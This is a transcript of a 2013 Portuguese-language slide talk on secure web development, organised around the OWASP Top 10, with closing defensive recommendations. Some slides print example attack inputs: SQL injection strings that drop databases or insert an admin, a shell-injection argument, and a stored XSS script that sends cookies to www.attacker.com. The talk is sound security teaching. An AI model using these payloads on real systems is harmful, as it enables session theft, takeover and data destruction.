32
iTFLEX Tecnologia http://www.itflex.com.br Desenvolvimento Seguro de Aplicações WEB Principais vulnerabilidades e recomendações (Baseado no OWASP TOP10) Carlos Diego Russo Medeiros Diretor Executivo – iTFLEX Tecnologia [email protected] / [email protected]

Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

  • Upload
    cadiego

  • View
    178

  • Download
    0

Embed Size (px)

DESCRIPTION

Palestra sobre desenvolvimento seguro de aplicações WEB, apresentada no Instituto Federal Catarinense - Campus Araquari em 29/09/2013

Citation preview

Page 1: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Desenvolvimento Seguro de Aplicações WEB

Principais vulnerabilidades e recomendações(Baseado no OWASP TOP10)

Carlos Diego Russo MedeirosDiretor Executivo – iTFLEX Tecnologia

[email protected] / [email protected]

Page 2: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Agenda

Apresentação

Pontos para reflexão

OWASP

TOP10

A1-Injeção

A2-Quebra de autenticação / sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-A10 Visão Geral

Recomendações

Perguntas

Page 3: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Apresentação

Fundador e Diretor Executivo da iTFLEX (2004)

15 anos de experiência em linux, segurança e redes

http://br.linkedin.com/in/cadiego

MBA em Gestão Empresarial pela FGV/Sociesc (2005)

Bacharel em Informática pela Univille (2001)

Técnico pela Escola Técnica Tupy (1997)

Certficação ITILv3 Foundation (2012)

Cisco Certified Network Associate (2002)

Módulo Certified Security Officer (2002)

Page 4: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Reflexão

A maioria dos desenvolvedores pensa que suas ferramentas são seguras

A segurança não é apenas responsabilidade de equipe de infra-estrutura

Crescimento do cloud computing x segurança nas aplicações WEB

Você se preocupa com a segurança no desenvolvimento das suas aplicações?

Não confie cegamente na sua linguagem ou framework

Page 5: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

OWASP

Open Web Application Security Project

Projeto aberto dedicado a capacitar as organizações a desenvolver e manter aplicações seguras.

Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza eventos, grupos locais de discussão (Chapter)

2011 - OWASP AppSEC Latin America

2012 – OWASP Floripa Day

Chapters próximos (Florianópolis, Curitiba...)

Page 6: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

OWASP

OWASP TOP10

10 principais ameças em aplicações WEB

Atualizado a cada 3 anos

Consenso entre os profissionais

Excelente para aprendizado

http://goo.gl/ZKj23a

Page 7: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

OWASP TOP10 2013

A1-Injeção

A2-Quebra de autenticação / Sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-Falta de controle do nível de acesso

A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site

A9-Uso de componentes com vulnerabilidade conhecidas

A10-Redirecionamentos e encaminhamentos não validados

Page 8: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Introdução ao A1-Injeção

Envio (injeção) de dados (entradas) não validados adequadamente

Strings interpretadas como comandos no backend

Injeção de SQL é a mais comum

Page 9: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Page 10: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Page 11: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

E se no no lugar do ' or '1'='1 ?

● minhasenha'; DROP ALL DATABASES; --

● minhasenha'; INSERT INTO admins VALUES ('meu_admin','minha_senha'); --

● minhasenha'; UPDATE usuarios SET senha='123456' WHERE user='admin; --

E se a aplicação web estiver conectando no banco com as credenciais:

● root / sysdba ?

● Execução de comandos no sistema operacional

● Acesso a outros bancos dados

Page 12: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Entradas explícitas

(Ex. forms, inputs)

X

Entradas implícitas

(Hidden, Cookies, Parâmetros da URL, etc..)

Page 13: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Ferramenta

SQLMAP – Automatic SQL injection and database takeover tool

Realiza as injeções (Já com payloads de consultas)

Descobre o sistema de banco de dados

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,

SQLite, Firebird, Sybase and SAP MaxDB database management systems.

Realizar blind injection quando não é retorno (timing)

Permite conexão direta ao banco de dados

http://sqlmap.org/

Page 14: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

SQL não é único tipo de injeção

Exemplo de Shell Injection (OS Commands)

Comandos do sistema operacional chamados pela aplicação

Digite o host para obter IP: _______________

$ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”;

Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la

System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????

Page 15: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

HTTP por sua origem é stateless, criado com foco na web estática ou não era necessária autenticação ou sessão

Para aplicações web modernas poderem relacionar as transações dos usuários é necessário o conceito de sessão.

Depende do estratégia usada pelo desenvolvedor

● session_id, cookies, etc..

Page 16: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

Page 17: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

Possibilidades de exploração

● session_id fixo ou session_id previsível (guestable) -> força bruta

● session_id com tempo de vida muito longo (Pode ser reutilizado)

● reutilização de session_id antigo (Não altera no logon)

● credenciais enviadas por canais inseguros - firesheep (wifi)

Lógica de autenticação falha

● Manipulação de variáveis da requisição

● if ( $logado = '1'); then echo “Usuário logado”; fi;

● http://site.com.br/adm/list_users?logado=1;

Page 18: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Introdução ao A3-Cross-Site Scripting (XSS)

Falha no tratamento de entradas ou saídas da aplicação

Permite enviar código malicioso ao browser do usuários

Todo o browser é 'explorável'

Vulnerabilidade é na aplicação, mas a vítima é o usuário

Page 19: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

<script>document.location='http://www.attacker.com/cgi-bin/get.cgi?foo='+document.cookie</script>

Persistente

Page 20: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Possibilidades de ataque

Roubo de sessão

Fazer um deface no site (alterar, substituir conteúdo)

Inserir código malicioso (vírus)

Redirecionar o usuário para sites maliciosos

Enviar requisições involuntárias (A8-CSRF)

Exemplo do banco (duas senha, token, cartão numérico)

Page 21: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Refletido

Page 22: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A4-Referências inseguras diretas de objetos

http://example.com/app/accountinfo=carlos

Referências inseguras a arquivos

http://example.com/view_file.php?arquivo=log.txt

http://example.com/view_file.php?arquivo=config.php

Usuário http://example.com/app/view.php?page=user

Administrador http://example.com/app/view.php?page=admin

(A7-Falta de controle do nível de acesso)

Page 23: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A5-Falhas de Configuração

Exemplos de pontos de falha

Sistema operacional desatualizado, com vulnerabilidades

Servidor de aplicação mal configurado,

configurações default, aplicações de exemplos

Consoles de administração expostos, ou com senha padrão

Configurações expostas (config.php.bkp)

Mensagem de erros não tratadas

Excesso de privilégio para aplicação

Page 24: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

A6-Exposição de dados sensíveis

HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário

não protege aplicação, nem dados armazenados

SSL obrigatório x opcional

Criptografia no front-end x backend (simétrico x assimétrico)

Uso de algorítimos de criptografia fracos

Armazenamento desnecessário de dados sensíveis

Auto-preenchimento dos forms com dados sensíveis

Page 25: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

OWASP TOP10 2013

A1-Injeção

A2-Quebra de autenticação / Sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-Falta de controle do nível de acesso

A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site

A9-Uso de componentes com vulnerabilidade conhecidas

A10-Redirecionamentos e encaminhamentos não validados

Page 26: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Assuma que você também é responsável

Estude o OWASP TOP10: http://goo.gl/ZKj23a

Faça o tratamento das entradas e da saídas

Sanitize Inputs -> Higienizar entradas

Canonicalize Inputs -> Passar para codificação única

Validação sempre por whitelist

Minimize o privilégios da aplicação (Somente o necessário)

Page 27: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Assuma que você também é responsável

Estude o OWASP TOP10: http://goo.gl/ZKj23a

Faça o tratamento das entradas e da saídas

Sanitize Inputs -> Higienizar entradas

Canonicalize Inputs -> Passar para codificação única

Validação sempre por whitelist

Minimize o privilégios da aplicação (Somente o necessário)

Page 28: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Atenção, NÃO FUNCIONA:

Validação de entradas por Java Script

Confiar no método POST no lugar do GET

HTTPs não garante a segurança da aplicação, garante apenas a confidencialidade do canal do usuário

Page 29: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Aplicações WEB dependem de uma base segura

SO, Servidor de Aplicação, Bibliotecas

Evite usar comandos do sistema operacional, procure utilizar as funções ou bibliotecas da linguagem

mv, cp, ls, du, etc...

Page 30: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF

Pesquise sobre os recursos de segurança da sua linguagem

Exemplo: http://www.pythonsecurity.org/

Python x Owasp Top 10: http://goo.gl/xXlZcy

ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS

Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ

Page 31: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Insira a segurança no ciclo de desenvolvimento do software

Page 32: Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

iTFLEX Tecnologia http://www.itflex.com.br

FIM, Perguntas?

Obrigado pela atenção

Carlos Diego Russo Medeiros

[email protected] / [email protected]

http://br.linkedin.com/in/cadiego

(47) 3029-3388

Fonte: http://www.seginfo.com.brTradução de: http://xkcd.com/327/